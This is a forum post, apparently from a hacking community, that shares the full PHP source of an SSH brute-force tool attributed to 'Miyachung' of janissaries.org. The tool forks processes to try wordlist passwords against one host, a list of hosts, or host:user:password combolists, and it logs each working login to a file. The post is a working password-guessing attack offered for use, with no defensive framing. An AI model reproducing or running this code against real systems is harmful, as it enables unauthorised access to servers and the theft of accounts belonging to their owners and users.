Jump to content
Fi8sVrs

SSH Brute-Forcer Tool

Recommended Posts

  • Active Members

SSH brute-forcer tool written in PHP.

about:


* SSH Brute-Forcer
* Written by Miyachung
* Homepage : http://janissaries.org
* Youtube Channel: http://www.youtube.com/janissariesorg
* @@ 'ssh2_connect' and 'pcntl_fork' functions must be installed on your machine (BackTrack5 Recommended)
* @@ This tool is using process forking system
* All rights reserved
* Contact with coder: miyachung@hotmail.com or jabber.org

usage:

<?php

/*

.__ .__

_____ |__|___.__._____ ____ | |__ __ __ ____ ____

/ \| < | |\__ \ _/ ___\| | \| | \/ \ / ___\

| Y Y \ |\___ | / __ \\ \___| Y \ | / | \/ /_/ >

|__|_| /__|/ ____|(____ /\___ >___| /____/|___| /\___ /

\/ \/ \/ \/ \/ \//_____/

* SSH Brute-Forcer

* Written by Miyachung

* Homepage : http://janissaries.org

* Youtube Channel: http://www.youtube.com/janissariesorg

* Usage :

* @@ 'ssh2_connect' and 'pcntl_fork' functions must be installed on your machine (BackTrack5 Recommended)

* @@ This tool is using process forking system

* All rights reserved

* Contact with coder: miyachung@hotmail.com or jabber.org

*/

error_reporting(0);

/*

* Call the class

*/

$SSH = new SSHBruter();

/*

* Does control if 'ssh2_connect' and 'pcntl_fork' functions not installed

* if 'ssh2_connect' or 'pcntl_fork' functions not installed you can't use this brute-forcer tool

*/

if(!function_exists("ssh2_connect"))

{

$SSH->showErrorMsg(1);

}

elseif(!function_exists("pcntl_fork"))

{

$SSH->showErrorMsg(2);

}

/*

* Parse arguments

* There is 3 way to brute

* Single : -h <host> -u <user> -w <wordlist> -o <output> -t <thread>

* Combolist : -c <combolist> -o <output> -t <thread>

* Multiple : -f <hostfile> -u <user> -w <wordlist> -o <output> -t <thread>

*/

$options_single = getopt("h:u:w:o:t:");

$options_combo = getopt("c:o:t:");

$options_multi = getopt("f:u:w:o:t:");

/*

* Does arguments control!

*/

if($options_single)

{

if($options_single["h"] != null && $options_single["u"] != null && $options_single["w"] != null && $options_single["o"] != null && $options_single["t"] != null)

{

$SSH->SingleBrute( $options_single["h"] , $options_single["u"] , $options_single["w"] , $options_single["o"] , $options_single["t"] );

}

else{

$SSH->showErrorMsg(3);

}

}

elseif($options_combo)

{

if($options_combo["c"] != null && $options_combo["o"] != null && $options_combo["t"] != null)

{

$SSH->ComboBrute( $options_combo["c"] , $options_combo["o"] , $options_combo["t"] );

}

else{

$SSH->showErrorMsg(3);

}

}

elseif($options_multi)

{

if($options_multi["f"] != null && $options_multi["u"] != null & $options_multi["w"] != null && $options_multi["o"] != null && $options_multi["t"] != null)

{

$SSH->MultiBrute( $options_multi["f"] , $options_multi["u"] , $options_multi["w"] , $options_multi["o"] , $options_multi["t"] );

}

else{

$SSH->showErrorMsg(3);

}

}

else

{

$SSH->showErrorMsg(3);

}

class SSHBruter

{

/*

* Prints 'MAIN_MESSAGE' if arguments used wrong

*/

const MAIN_MESSAGE = "\n*********************************************\n* SSH Brute-Forcer Single or Multiple\n* Written by Miyachung\n* Homepage : http://janissaries.org\n********************************* ************\n";

/*

* Prints 'NOT_INSTALLED_SSH' if ssh2_connect function not found

*/

const NOT_INSTALLED_SSH = "Oops! 'ssh2_connect' function isn't exists you can't use this tool on this machine\n\n";

/*

* Prints 'NOT_INSTALLED_PCNTL' if pcntl_fork function not found

*/

const NOT_INSTALLED_PCNTL= "Oops! 'pcntl_fork' function isn't exists you can't use this tool on this machine\n\n";

/*

* Prints 'ARGMISS' if arguments not specified

*/

const ARGMISS = "[!]Wrong Usage!\nphp SSHBruter.php -h <host> -u <user> -w <wordlist> -o <output> -t <thread>\nphp SSHBruter.php -f <hostfile> -u <user> -w <wordlist> -o <output> -t <thread>\nphp SSHBruter.php -c <combolist> -o <output> -t <thread>\n\n";

/*

* Counts hosts & passwords , increments in foreach loop

*/

private $counter = 0;

/*

* Performs brute force to specified single host arguments -h <host> -u <user> -w <wordlist> -o <output> -t <thread>

*/

function SingleBrute( $host , $user, $wordlist, $output , $thread )

{

echo "\n";

echo "Host: ".$host."\n";

echo "User: ".$user."\n\n";

$chunk_wordlist = array_chunk( file($wordlist) , $thread );

foreach($chunk_wordlist as $passwords)

{

foreach($passwords as $password)

{

$this->counter++;

$fork = pcntl_fork();

if(!$fork)

{

$perform_single = $this->SSH( $host , $user , trim($password) , $output );

if($perform_single)

{

print "Sleeping 120 seconds , PRESS CTRL + C NOW!";

sleep(120);

}

exit;

}

}

$this->waitForThreadFinish();

}

}

/*

* Performs brute force to specified combo list arguments -c <combolist> -o <output> -t <thread>

*/

function ComboBrute( $combolist , $output , $thread )

{

$chunk_combolist = array_chunk( file($combolist) , $thread);

foreach($chunk_combolist as $combo)

{

foreach($combo as $hostuserpwd)

{

$this->counter++;

list($host,$user,$password) = split(":",trim($hostuserpwd));

$fork = pcntl_fork();

if(!$fork)

{

$this->SSH( $host , $user , $password , $output );

exit;

}

}

$this->waitForThreadFinish();

}

}

/*

* Performs brute force to specified host list arguments -f <hostfile> -u <user> -w <wordlist> -o <output> -t <thread>

*/

function MultiBrute( $hostlist , $user , $wordlist , $output , $thread )

{

foreach(file($hostlist) as $host)

{

$chunk_wordlist = array_chunk( file($wordlist) , $thread );

foreach($chunk_wordlist as $passwords)

{

foreach($passwords as $password)

{

$this->counter++;

$fork = pcntl_fork();

if(!$fork)

{

$this->SSH( trim($host) , $user , trim($password) , $output );

exit;

}

}

$this->waitForThreadFinish();

}

}

}

/*

* Performs login to host with specified user and password(s)

*/

function SSH( $host , $user , $password , $output , $port = 22 )

{

$connect = ssh2_connect( $host , $port );

if(!$connect)

{

print "[".$this->counter."] Host: ".$host." Connection Failed\n";

flush();

break;

}

else

{

$auth = ssh2_auth_password( $connect , $user , $password );

if($auth)

{

$a = "*********************************************\n";

$a.= "[+] Found!\n";

$a.= "[+] Host: ".$host."\n";

$a.= "[+] User: ".$user."\n";

$a.= "[+] Password: ".$password."\n";

print $a."[!] If You Want To Stop Brute Press CTRL + C Now!\n******************************************** *\n";

self::SaveResult( $output , $a );

return true;

}

else

{

print "[".$this->counter."] Trying Host: ".$host." Username: ".$user." Password: ".$password."\n";

flush();

break;

}

}

}

/*

* All error messages showing from there

*/

function showErrorMsg( $errno )

{

print self::MAIN_MESSAGE;

if($errno == 1)

{

print self::NOT_INSTALLED_SSH;

exit;

}

if($errno == 2)

{

print self::NOT_INSTALLED_PCNTL;

exit;

}

if($errno == 3)

{

print self::ARGMISS;

exit;

}

}

/*

* Waits for threads to finish

*/

function waitForThreadFinish()

{

while (pcntl_waitpid(0, $status) != -1) {

$status = pcntl_wexitstatus($status);

}

}

/*

* Saves everything with this function

*/

static function SaveResult( $output,$text )

{

$open_file = fopen( $output , "a" );

fwrite( $open_file , $text );

fclose( $open_file );

}

}

# miyachung represents / janissaries.org group

?>

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...